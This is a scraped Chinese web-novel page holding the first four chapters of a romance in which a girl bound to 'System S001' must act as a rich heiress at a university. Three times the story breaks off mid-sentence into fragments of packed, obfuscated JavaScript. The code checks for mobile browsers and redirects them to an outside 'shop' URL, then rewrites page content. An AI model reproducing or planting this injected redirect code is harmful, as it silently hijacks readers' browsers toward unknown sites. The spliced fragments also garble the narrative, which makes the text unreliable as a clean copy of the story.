《不能OOC的限制文大小姐》 1. 第 1 章 清晨六点，初秋的晨光挟着凉意，从厚重的丝绒窗帘间挤入房间。 光线沿着胡桃木地板缓慢爬行，最终温柔地吻上房间中央那张奢华的欧式宫廷大床。 羽毛被柔软得像一团云，深陷其中的姜夏琳睫毛轻轻颤动了几下，随后缓缓睁开。 她撑坐起身，柔顺如瀑的黑发滑落，铺散在真丝睡裙包裹的肩臂上，衬得露出的脖颈与锁骨肌肤白皙剔透，宛如一尊被精心呵护、价值连城的白瓷人偶。 她下意识地环顾四周。 超过四十平的卧室，空旷得能听见自己呼吸的回声。 法式雕花家具在晨光中泛着温润的光泽，从繁复的床柱到巨大的衣柜，再到梳妆台上随意摆放的瓶瓶罐罐，每一件都无声地宣告着不菲的身价。 占据朝南一整面墙的落地窗外，鳞次栉比的摩天大楼在晨曦中勾勒出冷硬剪影，更远处，蔚蓝的海岸线在薄雾中若隐若现，像一条沉睡的银龙。 姜夏琳的目光扫过这一切，最终落回自己交叠在丝绒被面、保养得毫无瑕疵的手上。 一股微妙的陌生感，如同深海暗流，无声无息地涌上心头，将她紧密地包裹。 ——事实上，这完美无瑕的一切，包括这具身体，都不真正属于她。 三个月前，她还是未来高中里一个模糊的背景板，连名字都不配拥有的路人甲。 毕业典礼后，却被系统S001选中，塞进这款名为《未来之恋》的沉浸式恋爱游戏中，成为了姜家那位家世豪奢、容貌倾城，性格更是被设定为高质量女性模板的大小姐——姜夏琳。 无限财富和顶级美貌瞬间变为囊中之物，代价是失去路人甲时拥有的自由： 从被绑定的那天起，她必须严格遵守系统S001的指令，分毫不差地扮演好这个角色。 系统S001要求严苛到变态，经过三个月的地狱训练，她才勉强有了几分它期望的样子。 笃、笃、笃。 简短的敲门声响起后，房门被推开。管家钟女士穿着熨帖的深灰色套装出现在门外。 她在姜家工作已近十年，是姜氏夫妇最信任的心腹。 “小姐，早安。今天是未来大学开学日，您该起床准备了。” 闻声，姜夏琳立马收敛了情绪，漾开微笑：“好的，钟姨，我这就起来。” 这样标准化的微笑和声线，她在系统S001的地狱训练中不知对着镜子练习了多少次，已经是条件反射。 洗漱完毕，又按照大小姐的风格完成了妆发和穿搭，一个小时后，姜夏琳坐进了姜家挂着特殊牌照的黑色轿车后座。 钟管家坐在副驾，手里握着平板电脑，上面是精确到分钟的行程安排：“上午九点，前往中心礼堂参加开学典礼，下午五点，宴会厅有新生晚宴。全部结束后，司机会在学校正门等您。” “知道了，钟姨。”姜夏琳轻声回应，目光投向窗外飞逝的街景。 《未来之恋》的主线剧情，从她踏入未来大学这一刻正式开启。不过系统S001没有剧透，只是和过去三个月一样，简单地发布着指令。 想来，她的职责和过去无异——扮演好“姜夏琳”，这位完美无缺的大小姐。 不久后，车子稳稳停在未来大学气势恢宏的大门前。 姜夏琳按照指示牌，很快找到了贴着烫金的“新生开学典礼”标识的入口。 阶梯式的礼堂内已坐了不少新生，姜夏琳拾阶而上，清晰地感受到众多视线落在自己身上。 她身上的白色连衣裙看似简约，但丝滑垂坠的面料与精妙勾勒身形的剪裁却都暗暗诉说着不菲。及腰的墨色长发柔亮如缎，披散在身后，衬得她气质沉静，肌肤胜雪，与周围尚带稚气的面孔截然不同。 姜夏琳从容地在前排靠过道的位置落座。 刚放下包，手机屏幕便亮了起来。 点开，一个设计极简、图标是一颗抽象心形缠绕着数据流的APP自动跳了出来，名称是：“未来之恋-角色辅助系统”。 APP的界面干净得近乎冰冷，只有一个孤零零的对话框，标示着“系统S001”。 一段毫无感情的文字弹了出来： 【当前角色契合度：85%。 检测到低强度社交环境，建议提升善意及热情度输出，积极参与集体事务。】 姜夏琳眼睫微动，目光在“主动参与集体事务”几个字上停顿，然后熄灭了屏幕。 九点整，开学典礼准时开始，礼堂灯光渐暗，只留下舞台上的几盏聚光灯。 校董们的致辞冗长又无趣，姜夏琳渐渐走了神，直到身后突然掀起一阵骚动。 “快看！是陆临川！” “天啊，真人比W上的照片还好看！” “网络上有两百万粉丝，本人还是现役学生会会长，真没想到开学第一天就能见到他……” 此起彼伏的抽气声和低语像投入死水的石子，激起一圈圈涟漪。 姜夏琳好奇地抬眼，舞台中央的聚光灯恰在此时亮起，精准地笼罩住一道修长挺拔的身影。 光线强烈得有些刺目，她下意识眯了眯眼，待视线重新聚焦时，光束中心的那个人才清晰地映入眼帘。 那是一个穿着简约白衬衫的男生，衣摆利落地收进黑色西裤，勾勒出优越的腰身线条。眉骨到鼻梁的线条流畅精致，薄唇微抿，下颌线利落得近乎锋利。抬手调整麦克风时，袖口露出一截小臂，肤色是冷调的白，仿若上好的羊脂玉。 在强光下，他的眼睛呈现出一种清透的琥珀色，像盛着融化的阳光。 “大家好，我是未来大学第35届学生会会长，陆临川。”他的声音透过音响传来，清冽如泉，“很荣幸在此与各位相遇。” 台下顿时响起一片压抑的惊呼，前排几个女生激动得满脸通红，赶忙举起手机拍摄。 这样的场面陆临川似乎司空见惯。 他流畅地说了下去，尽管台上摆着演讲稿，却未曾低眼，目光平稳地扫过观众席。 手机在掌心震动，姜夏琳低头。屏幕上再次弹出系统S001的提示： 【检测到剧情波动……】 没来得及细看，一股浓烈的古龙香水味突然侵入鼻腔。 她转头，发现一个高大的男生不知何时蹲在了她座位旁。 “嘿，学妹。”他凑得极近，带着热气的呼吸几乎喷在她耳廓上，激起一阵细微的鸡皮疙瘩。 姜夏琳本能地后仰，借着舞台的灯光看清了对方——

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992938|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 五官周正，本该是张还算英俊的脸，却因刻意堆砌的笑容显得有些浮夸。略长的头发染成了亚麻金，即使在昏暗中也显得十分扎眼。 “我是学生会的，”他压低声音，手指状似无意地碰了碰她放在膝上的包，“后台临时缺人手，学妹能帮个忙吗？” 见姜夏琳微微蹙起了眉，他立刻补充：“也是突发情况，要是学妹以后有想法加入学生会，我肯定借这次的事情帮你美言几句。” 一听便知是冠冕堂皇的搭讪借口，但想到系统给的建议，姜夏琳还是眨眨眼，露出一个标准的笑容：“当然可以，学长。” “太好了学妹，跟我来吧，”男生站起身，脸上的笑意扩大了些，“对了，我叫赵绍辉。” 黑暗中，两人一前一后进入了舞台侧面的暗门。 光线昏暗、堆满杂乱设备和电线的后台里，空气混浊又沉闷。 没走几步，一道颀长身影便出现在通道中央，恰好挡住了去路。 “绍辉学长？” 这声音听着分外耳熟，姜夏琳抬眼，心脏微微一缩—— 刚刚还在台上发言的陆临川，竟然出现在眼前。 他的视线扫过赵绍辉，随即落在她脸上。 那眼神很淡，却十分锐利，仿佛能穿透皮囊直抵内里，让姜夏琳瞬间有种被X光扫视的错觉，后背微微绷紧。 赵绍辉明显一愣，立刻堆起一个夸张的笑容：“发言就结束了？” “嗯，压缩了时间，”陆临川走近两步，声音比台上发言时少了几分刻意营造的亲和，“外联部缺人？”他的目光意有所指地掠过姜夏琳。 “是啊，根本忙不过来，”赵绍辉侧身指向姜夏琳，语气带着一丝不易察觉的紧张，“所以我带着……呃……” “姜夏琳。”姜夏琳轻声接话，不着痕迹地后退了半步，将自己隐入过道的阴影中。 陆临川的突然出现，让她莫名有些紧张。 “对，夏琳学妹。我带她过去搭把手。”赵绍辉连忙点头。 闻言，陆临川的目光再次落在姜夏琳脸上，带着十足的审视意味，仿佛要将她钉在原地。 可下一刻，就像切换了某个开关，他眼中那抹锐利瞬间消失，被一片平静的漠然取代。 “嗯，辛苦。”一个轻得几乎听不见的简短回应后，陆临川移开眼，侧身从两人身旁走过。他的动作带起一片细微的气流，轻轻拂过姜夏琳的裙摆。 在他擦肩而过的瞬间，姜夏琳握在手里的手机剧烈震动了一下。 她心头一跳，借着昏暗的光线瞥向屏幕—— 系统S001猩红的警告弹出： 【当前角色契合度：48%。 低于临界值，启动惩罚程序。】 姜夏琳呼吸一窒。 几乎是同时，一股尖锐的、仿佛要将头颅劈开的剧痛毫无预兆地炸开，像有无数根冰冷的钢针扎进太阳穴，并在里面疯狂搅动。 “唔……”一声压抑不住的痛哼溢出唇瓣，她眼前瞬间发黑，视野边缘疯狂闪烁着刺眼的白光。 她想抬手按住剧痛的额头，指尖却只在半空无力地抽搐了一下。 ——咚！ 一声沉闷的声响，在嘈杂的后台骤然响起。 2. 第 2 章 意识如同沉船，在粘稠的黑暗中艰难上浮。 终于，一缕微弱光线刺破混沌，随之而来的，是冰冷辛辣的消毒水味。 姜夏琳缓缓睁眼，视野被一片单调到令人心慌的白占据—— 白色的天花板，白色的墙壁，以及，身上盖着的毫无生气的白色被褥。 右手手背传来清晰的异物感。她偏头，看到透明输液管连接着吊瓶，将药液以近乎粘滞的速度注入她手背的血管。 这里是……医务室？ 混沌的记忆碎片开始拼凑：光线昏暗的后台，赵绍辉身上浓烈到刺鼻的香水味，对她视若无睹、漠然擦肩的陆临川……以及最后，那股毫无征兆地从太阳穴炸开、瞬间吞噬了她所有意识的剧烈钝痛。 她应该是……晕倒了。 太阳穴仍残留着闷闷的胀痛，思绪也滞涩难行。 姜夏琳习惯性地伸手向枕边摸索，指尖很快触到了熟悉的冰凉外壳——是她的手机。 解锁屏幕，不久前系统S001发来的两条消息赫然映入眼帘： 【检测到剧情波动！契合度评价敏锐度提升，请宿主严格遵守人设！】 【当前角色契合度：48%。低于临界值，惩罚程序已启动。】 剧情波动，惩罚…… 她的晕倒，是惩罚？ 虽然目前的契合度已经恢复了正常，但姜夏琳秀气的眉还是紧紧蹙起，心底泛起一股莫名的寒意—— 地狱训练的三个月里，系统S001从未对她施加惩罚，更是不曾提起过惩罚机制的存在。 剧情波动警告也是第一次出现——系统从未向她透露过《未来之恋》的剧情，又如何判断波动？ 况且，刚刚在后台…… 姜夏琳回忆自己的行为——没有平白无故地惹恼谁，没有什么出格的举动，契合度却突然变得极低。 ……系统是不是对她隐瞒了什么？ 胸口涌起一股莫名的恐惧，姜夏琳抿紧嘴唇，指尖无意识地陷进掌心。 咔哒。 一声轻响打破了医务室的宁静，是门被推开的声音。 紧接着，一只手探进姜夏琳床前的白色隔帘，“唰啦”一声，干脆地将它掀开。 一张陌生的面孔出现在布帘后。 对方扎着利落的高马尾，看到姜夏琳睁开的双眼，流露出明显的惊讶：“你醒了？” 微凉的室外风随着帘子的掀起钻入，冲淡了些消毒水味，姜夏琳警惕地看向来人：“……你是？” “学生会的，林薇。”女生屈指弹了弹胸前的工作证，上面“副会长”三字清晰醒目，“现在感觉怎么样？校医说你只是低血糖，挂完这瓶葡萄糖，再休息一下就好了。” “谢谢学姐，我好多了。”身体深处依旧酸软疲惫，但姜夏琳还是调动起训练留下的肌肉记忆，勾起一个温和的笑。 “开学典礼结束之后发了新生用品，我顺路给你捎来了。”林薇扬了扬手里一个印着校徽的文件夹，随手放在床头柜上。 姜夏琳的目光在那文件夹上掠过，礼貌道谢道：“谢谢学姐费心。” 放下东西，林薇却没有离开的意思。 她目光探究，在姜夏琳脸上停留了几秒，忽然俯身凑近：“学妹，刚刚在后台……赵绍辉，没有对你太过分吧？” 闻言，姜夏琳脸上的笑容瞬间凝固—— 林薇怎么会知道赵绍辉带她去后台的事？ “学姐，”她脸上依旧维持着笑容，声音里却带上了一丝不易察觉的紧绷，“你和赵学长很熟？” 林薇顿了一下，似乎没料到她是这样的反应，随即唇角勾起一个玩味的弧度。 “看来你没看校园论坛啊。”她掏出手机，指尖在屏幕上飞快地点了几下，然后手腕一转，将屏幕亮到姜夏琳眼前，“喏，姜夏琳学妹，你现在可是热榜上的红人哦。” 未来大学的校园论坛在学生中极受欢迎，能登上热榜的帖子，几乎瞬间就能传遍全校。 不祥的预感顿时浮上心头。姜夏琳接过手机，屏幕的冷光映亮了她毫无血色的脸颊。 论坛热榜上，置顶的几个标题前标着“爆”字，像烧红的烙铁一般，迅速撺掇了她的视线： 【开学第一瓜？！陆大会长公主抱神秘新生急送校医院，高清多图速进！】 【学生会新公告：外联部赵绍辉被停学调查，疑似后台骚扰女同学】 【深扒～～让高岭之花陆神破例的姜姓学妹究竟是何方神圣？】 姜夏琳呼吸一滞，指尖在屏幕上方停顿片刻，终于僵硬地点开了第一个爆帖。 首楼赫然是一组九宫格高清抓拍。 第一张便极具冲击力—— 陆临川打横抱着她，正大步流星地穿过礼堂外阳光斑驳的林荫道。他侧脸线条绷得极紧，下颌线冷硬锐利，透着一股生人勿近的凛冽。 而她，则无知无觉地蜷缩在他怀里，乌黑的长发如瀑般垂落，衬得那张小脸愈发苍白脆弱，仿佛下一秒就会碎掉。 剩下的图片从各个角度记录了这次护送的过程，全方位、无死角地佐证着事件的真实性。 下方的评论区早已沸腾，消息刷新的速度快得令人眼花缭乱： 【卧槽，真是陆临川？！他不是有洁癖吗？上次我没吃早餐晕他跟前，他腰都没弯一下啊？？】 【据说是那个叫赵绍辉的三年级学生想对新来的漂亮学妹动手动脚，被路过的陆神撞个正着，英雄救美现实版，帅炸了！】 【学生会的公告发得好快啊，学校里面居然有这种人渣，实在是太可怕了。】 【只有我关心这位姜学妹是谁吗？这颜值……应该能争这届新生天花板了。】 【楼上+1！能被陆会长这样抱着送去医务室，这是什么天选玛丽苏剧本啊啊啊！！！】 姜夏琳强迫自己快速滑动屏幕，目光扫过那些兴奋的评论，脑海中一片混乱。 这到底是怎么回事？ 陆临川……竟然会对她出手相助？而赵绍辉——则被当成了导致她晕倒的罪魁祸首？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992939|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “其实……赵学长他……”她弱弱地启唇，声音有些发涩，“当时只是带我进了后台……并没有做什么越界的事。” 林薇瞥了她一眼，轻轻叹了口气：“学妹，别害怕。赵绍辉已经被校方正式约谈了，处分是免不了的。况且还有目击证人，你不用勉强自己替他说话。” “……目击证人？”姜夏琳更加困惑。 林薇笑了笑，语气平和却笃定：“后台确实没有监控，但陆临川已经亲自去安保处说明了事情经过。别担心，学生会在你这边。”她特意加重了“亲自”和“学生会”这几个字。 “……”姜夏琳一时语塞，心中愈发不解，“可是学姐，赵绍辉真的没有对我做什么……” 这下，林薇看向她的眼神顿时多了几分复杂。 她沉吟片刻，声音放得更轻：“我明白的，学妹。不用委屈自己替他遮掩，他是什么样的人，我们学生会的都清楚。” 姜夏琳张了张口，却百口莫辩：“学姐，我不是替他遮掩，他当时真的只是……” “——啧。” 一声不耐烦的轻啧突兀地响起，打破了两人之间僵持不下的气氛。 姜夏琳和林薇同时一怔，循声望去。 姜夏琳这才发觉，与自己仅一帘之隔的右侧病床上，竟然一直有人。 紧接着，一只修长而骨节分明，显然属于男性的手搭上了分隔病床的隔帘。 下一秒，那只手猛地将帘子向一侧扯开—— 唰啦！ 动作幅度极大，带起一阵急促的风，甚至拂动了姜夏琳额前散落的几缕碎发。 帘子后方，靠坐在病床上的，是一个同样穿着蓝白条纹病号服的男生。 他留着短而凌乱的黑发，脸庞带着几分少年人特有的青涩。宽大的病号服几乎淹没了他的身形，却仍能看出挺拔的骨架。 最引人注目的，是他吊在胸前、缠着厚厚绷带的右臂，以及贴着一块方正纱布的额角。 此刻，男生紧皱着眉，被打扰的不爽清晰地写在脸上，像只被惹毛的、亮出獠牙的犬类。 他的目光冷冷地钉在姜夏琳脸上，几秒后，眉头越皱越紧，仿佛看到了什么难以理解的事物。 终于，他启唇，嗓音里带着一丝刚醒来的沙哑：“你是……姜夏琳？” 一旁暗中观察的林薇，这时恰到好处地发出一声充满兴味的：“咦？” 她双眼明显亮了起来，目光在男生和姜夏琳之间飞快地转了个来回：“姜学妹？你……和江竞认识？”她看起来很熟悉这位男生，一下便叫出了他的名字。 江竞……？ 这两个字在姜夏琳空白的脑海里弹跳了一下，没激起任何涟漪。 她似乎……从未见过这个人。 “不认识”几个字滚到舌尖，几乎要脱口而出，突然，放在一旁的手机震动了一下。 屏幕骤然亮起，猩红的警告再次出现： 【检测到剧情波动！契合度评价敏锐度提升，请宿主严格遵守人设！】 3. 第 3 章 姜夏琳指尖一顿，想到自己躺在这里的原因，立刻闭紧了唇，硬生生将话咽了回去。 空气凝滞了几秒。 忽然，江竞偏过头，发出一声极轻的嗤笑。 “林薇，你还是这么爱多管闲事。”他冷声道，目光却仍牢牢锁在姜夏琳脸上。 “回答我，”他嘴角紧绷成一根没有温度的直线，声音更沉了些，“名、字。” 姜夏琳被他盯得后背发凉，在脑中再次检索，却实在是找不到任何与这张脸相关的记忆。 耳边仿佛能听到契合度正在下跌的声音，她吞了口唾沫，冷静地挺直脊背，迎上他凶狠的视线。 “姜夏琳。”她开口，声音放得轻而稳，像在陈述一个与己无关的事实。 稍作停顿，她又依照林薇先前的称呼，礼貌地补上一句：“这是我的名字。江竞……同学。” 话音落下的瞬间，她目光下意识扫向手机屏幕，警惕着系统S001可能弹出的下一条消息—— 却丝毫没注意到，对面的江竞竟然动了。 他利落地翻身下床，动作流畅得完全不像个手臂受伤的人，长腿一跨，两步便欺近她的床前，高大的身影倏然压下来，将她完全笼罩在一片阴影之中。 下一刻，他没受伤的左手猛地探出，一把攥住了她正在输液的手腕。 冰凉的指尖触上皮肤，激得姜夏琳浑身一颤。 “——江竞！这里是校医院！”旁观的林薇倒抽一口冷气，惊叫道。 姜夏琳被这突如其来的举动惊得往回抽手，却被对方更加用力地攥住，腕骨传来一阵清晰的痛楚。 混乱间，江竞扣住她手腕的力道愈发加重，指腹甚至带着一种不容拒绝的强硬，在她细嫩的内腕皮肤上粗粝地摩挲了一下。 紧接着，他手指向上探去，意图明显地要撩开她宽松的病号服袖口—— 就在这千钧一发之际，“嘭”的一声巨响，病房门被猛地推开。 一群身着黑色西装、面色冷峻的男人鱼贯而入，瞬间占据了房内有限的空间。 为首那人身形魁梧，目光如鹰隼般锐利地扫过全场，随后径直走到姜夏琳床前，朝江竞微微躬身。 “少爷，车备好了。”他声线低沉得像一颗硬石，语气恭敬，却透着一股不容置疑的意味。 闻声，江竞的动作停了下来。 几秒的死寂后，他指间的力量一松，放开了姜夏琳，随后缓缓直起身，脸上的情绪不知在何时褪尽，只余下一片骇人的阴沉。 “谁让你们进来的？”他转身，微昂起头，与对方对视，眼神冰冷。 那男子似乎早已习惯他这样的态度，面色不变，只平静地回应：“老爷已经等候多时了。” 闻言，江竞身形几不可察地一顿，嘴角泄出一丝极轻却满是厌烦的咂舌声。 对方显然抬出了一个他无法违抗的名字。 这下，他没再反驳，抓起椅背上的外套甩在肩上，头也不回地大步流星走向门口。 那群黑衣人也同来时一般，随着他的离去，沉默而迅速地如潮水般退去。 姜夏琳看着空荡荡的门口，好一会儿，狂跳的心脏才缓缓平复。 她这才想起林薇还在旁边。 侧眸看去，对于方才的情形，对方似乎也心有余悸，正带着一种十分复杂的神情看着自己。 “学妹，你怎么会惹上他？”林薇揉了揉太阳穴，斟酌着词句，“江竞是江家最受宠的的小儿子，行事比较……啧，总之离他远点。我真没想到他在校医院都敢这么疯。” 姜夏琳嘴唇微微动了动，却没能发出声音。 方才腕间被触碰的摩擦感仿佛还残留着，带来一阵莫名的心悸。 片刻后，她抬起依旧没什么血色的脸，勉强牵起一抹疲惫的笑：“我会注意的，学姐。只是现在……我有点累了，想一个人休息一会儿。” 林薇听出她话里的送客之意，看了她一眼，没做坚持：“好，你好好休息。有任何需要，随时联络学生会，我们会尽力帮你。” 说完，她转身离开了病房，与此同时，姜夏琳立刻抓起了床垫上的手机。 未来之恋APP里，她的契合度值正平稳的维持在82%，没有因为刚刚的插曲而下跌。 她松了口气，庆幸自己反应正确，随即却被一股更深的无力感攫住—— 这次是凑巧做出了反应正确，下一次呢？ 她不可能每次都有好运。 “触发惩罚的规则是什么？”姜夏琳打字询问。 【……】 系统S001没有回复。 姜夏琳不死心，又发：“契合度的计算规则是什么？” 【……】 “江竞为什么认识我？” 【……】 怒火夹杂着不安在胸腔翻涌，就在姜夏琳的耐心近乎要耗尽时，对面终于慢悠悠地弹出几行的文字。 【真正的姜夏琳，不会追问这些。】 【宿主只要专注维持人设，你所担忧的一切，自会变成嘉奖。】 【请继续努力。】 嘉奖……吗。 姜夏琳盯着那几行文字，直到屏幕自动暗下。 黑色的电子面板反射出她的面孔—— 白皙，精致，即使病气未退，仍然美貌惊人。 这张脸，属于姜家金尊玉贵的大小姐姜夏琳，侥幸拥有之后，就不该、也不能被这点意外搅乱心神。 她盯着黑暗中模糊的轮廓看了许久，最终轻轻吁出一口气，向后倒进柔软的枕头，闭上眼，任由疲惫将意识拖入混沌。 几个小时的沉睡让姜夏琳的精神恢复了不少，再次睁开眼时，窗外的天色已经染上暮色。 她按铃唤来护士拔掉针头，下床时，感觉脚步比之前稳健了许多。 钟管家在学校附近酒店的豪华套房里等着她，送来了晚上要穿的礼服。 站在衣帽间的落地镜前，姜夏琳仔细端详着镜中的自己—— 薄施粉黛，恰到好处地遮掩了脸上的苍白。一袭设计简约的抹胸长裙，柔和的粉色缎面流淌着珍珠般的光泽，衬得她肌肤莹润白皙。乌发在脑后松松挽起，几缕碎发垂落，勾勒出纤细的脖颈线条。 一枚小巧的钻石项链是唯一点缀，在她精致的锁骨间闪烁着微光，添上几分易碎的美感。 待她收拾妥当，夜幕已经低垂，未来大学标志性的宴会厅却亮如白昼。 一年一度的新生晚宴正在此徐徐拉开帷幕。 姜夏琳步入宴会厅的瞬间，便成为了无数目光的焦点—— 惊艳的、审视的、探究的……更多，是带着窃窃私语的。 “就是她吧？论坛上那个，在后台被骚扰的姜家千金？” “真人比照片还好看欸，太漂亮了……” “听说是陆大会长亲自抱去医务室的？啧，真羡慕。” 细碎的议论声密密扎来，姜夏琳挺直背脊，脸上维持着大小姐标准的温婉平静。 她找到自己所属的社会科学文化系的区域，宴会桌边已经聚集了不少同学。 大家似乎都通过校园论坛知晓了她的身份，带着距离感站在一边，只有一位穿着黄色礼服的女生热情地迎上来，挽住她的手臂。 “你就是姜夏琳吧？我是苏珏，咱们班刚选出来的班长。”女生笑容灿烂，见姜夏琳面露困惑，解释道，“班长是开学典礼后竞选的，你当时不在，所以……票就作废了。” “没关系的，”姜夏琳摇摇头，唇角弯起恰到好处的弧度，“恭喜你当选。” “谢谢夏琳，不过——”苏珏看了看四周，将她往人少角落拉了拉，压低声音，眼睛亮晶晶的，“论坛里说的都是真的吗？你见到陆学长本人了？是不是比照片还帅？气场强不强？身上香水好闻吗……”一连串问题像蹦豆子，一个接着一个从她嘴里吐出。 姜夏琳一时语塞。 “……那个，”见状，苏珏不好意思地吐了吐舌头，“我从陆学长刚玩W的时候就关注他了，那时候他还是个高中生呢。没想到你开学第一天就能和他有……咳，近距离接触，羡慕死我了！” 全校皆知，陆临川的真实身份是未来市顶级财阀陆氏的继承人，从小众星捧月，容貌能力皆是顶尖。他最初为测试自家开发的社交软件W开设的个人账号，也因几张无心的生活照意外走红，一路积累至今，已是坐拥百万粉丝的头部账号。 姜夏琳眨眨眼，没想到真能在现实中遇到陆临川的粉丝。 她试图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992940|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组织语言满足苏珏的好奇心，却一时词穷—— 除了后台昏暗光线下那短暂的一瞥，她对他几乎一无所知。 况且，他似乎还认定她的晕倒是赵绍辉造成的…… 想到这，姜夏琳不禁有些头疼。 “他……”她斟酌着，最终只能挤出一句干巴巴的评价，“人还挺好的。” 话音刚落，不远处便传来一声极轻的、几乎融在背景乐里的低笑。 姜夏琳和苏珏一同循声望去。 只见一身剪裁合体的深灰色西服的陆临川，不知何时已站在几步外的香槟塔旁，水晶灯折射的光芒落在他肩头，为他清越的轮廓镀上一层光晕。 他唇角噙着一丝若有似无的弧度，目光穿过人群，落在姜夏琳身上。 “姜同学的评价倒是客观，”他声音不大，却清晰地传入她耳中，尾音微微上扬，带着点不易察觉的调侃，“所以，现在方便给好人一点时间吗？学生会有些情况，需要向你核实一下。” “——啊，当然方便的！系里的活动还早着呢！”苏珏抢先回答，双眼放光地盯着陆临川，顺手就把还有些懵的姜夏琳轻轻推了出去。 “……好的，学长。”姜夏琳骑虎难下，只能硬着头皮接话，“是什么事呢？” 陆临川的目光在她脸上停留了两秒，随即转身：“这边不方便，跟我来。” 说罢，他转身，没有走向热闹的中心，而是沿着灯火辉煌的宴会厅边缘，走向一处相对僻静的角落。 厚重的丝绒帷幕旁，有一扇几乎与墙面融为一体的暗色木门。陆临川握住黄铜门把手，轻轻一旋，门悄无声息地滑开，露出里面一个布置成小型会客室的空间。 “请。”他侧身。 姜夏琳犹豫一瞬，还是走了进去。 身后的门被轻轻关上，落锁的“咔哒”声在寂静中格外清晰，惊得她心头一跳，猛地回头：“……学长？” 陆临川神色如常，从西装内袋掏出一只小巧的银色U盘：“关于赵绍辉的事，有个不情之请，希望你能考虑。” “赵绍辉是学生会外联部的前干事，去年已经到期退会，但仍时常借机参与外联部的事务。”他声音平稳，听不出情绪，“只不过，他心思向来不在正事上，而是……格外关照你这样初来乍到、心性单纯的女生。” 姜夏琳听到这里，忍不住想开口解释：“学长，其实早上……” 陆临川抬手，做了个打断的手势，继续说了下去：“像今早那样，以帮忙为由将女同学带去人少的地方，继而进行言语骚扰甚至胁迫行为，是他的惯用手段。” 他将U盘递到姜夏琳面前：“这里面，是另外几位曾遭受赵绍辉骚扰的同学匿名提供的证词录音。她们碍于赵家的背景，一直没能站出来。” 姜夏琳心头一震，目光落在那枚小小的U盘上。 原来不是误会……她竟真的阴差阳错从一个惯犯手下逃脱。 校园论坛的帖子里零星提及了赵家背后复杂的势力，她虽有耳闻，却没想到对方敢如此明目张胆。 见她面色微变，陆临川微微倾身，压低了声音，语气沉凝：“学生会已经起草联名请愿书，收集了多位知情同学和老师的签名。” 他从一旁的矮桌上拿起一份文件，末尾密密麻麻的签名赫然在目。 “如果可以，我们希望，姜夏琳同学，你也能在这份请愿书上，签下你的名字。”他目光灼灼，直视着她，“有了你的名字和这些录音证据，校方才能真正重视，彻查赵绍辉的所作所为。” “这份签名仅用于内部举报，不会公开。事关重大，请你认真考虑，姜同学。” 那枚小小的银色U盘，此刻在姜夏琳眼中，重逾千斤。 姜家那位善良、正直、富有同情心的大小姐姜夏琳……会怎么做？ 在她没有有受到实质性侵害的情况下。 沉默在室内流淌。 片刻后，姜夏琳喉咙有些发紧，开口时，声音带着一丝干涩：“我……需要先听听录音内容。” 陆临川似乎早有所料，理解地点点头：“当然可以，这是你的权利。决定好了随时联系我。” 他将U盘轻轻放在桌子上，金属外壳与桌面相碰时，发出一声清脆的“嗒”。 4. 第 4 章 简短的沟通后，陆临川没有多做停留，很快转身离开，背影消失在门外。 门合上的瞬间，姜夏琳脸上那抹标准的笑容瞬间消散，只留下一片浅淡的空白。 她走到矮桌前，拾起那枚触感微凉、带着磨砂质感的U盘，以及那份装帧妥帖的请愿书。 指尖无意识地摩挲着U盘冰冷的边缘，正思忖着该如何应对这烫手山芋，身后却突然传来动静。 “咔哒”一声脆响，门把手被毫无预兆地旋开。 姜夏琳几乎是条件反射地扬起微笑转过身，同时，握着U盘和文件的手极快地背到身后。 门口灰暗的光影里，挤进一对姿态亲密的男女。 扶着门框的女生穿着一身柔顺的香槟色缎面抹胸礼服，本该显得优雅，此刻却有些狼狈——光滑的缎面被压出褶皱，精心挽起的发髻也松散了几缕，黏在微微汗湿的颈侧。 而造成这局面的，是一个身形高挑、穿着剪裁精良的深色西装的男生。 他显然醉得不轻，大半个身子都倚在女生身上，头无力地垂着，凌乱的黑发遮住了眉眼，只露出线条利落，却染着醺然红晕的下颌。昂贵的西服外套歪斜着，领带也松垮地挂在颈间。 浓重的酒气裹挟着一丝冷冽的木质香，随着他们的闯入，在房间里弥漫开来。 女生一眼看到了孤身一人的姜夏琳，描画精致的杏眼瞬间瞪圆了。 “这里是董事会相关人士的专属休息室！”她厉声质问，目光带着毫不掩饰的审视与敌意，“谁让你进来的！” 突如其来的斥责让姜夏琳心头一跳。她隐约听说过校董亲眷在校内享有特殊待遇，却没想到这间隐蔽的休息室也归属其中。 “……我不知道这是专属休息室。”她不想在此与人争执，于是先退一步，语气带着歉意，“我这就离开，不打扰二位了。” 说罢，她快步走向门口。可就在与那个醉醺醺的男生擦肩而过的瞬间，对方似乎被惊动，倚靠着女生的身体猛地一沉，试图挣脱支撑站直。 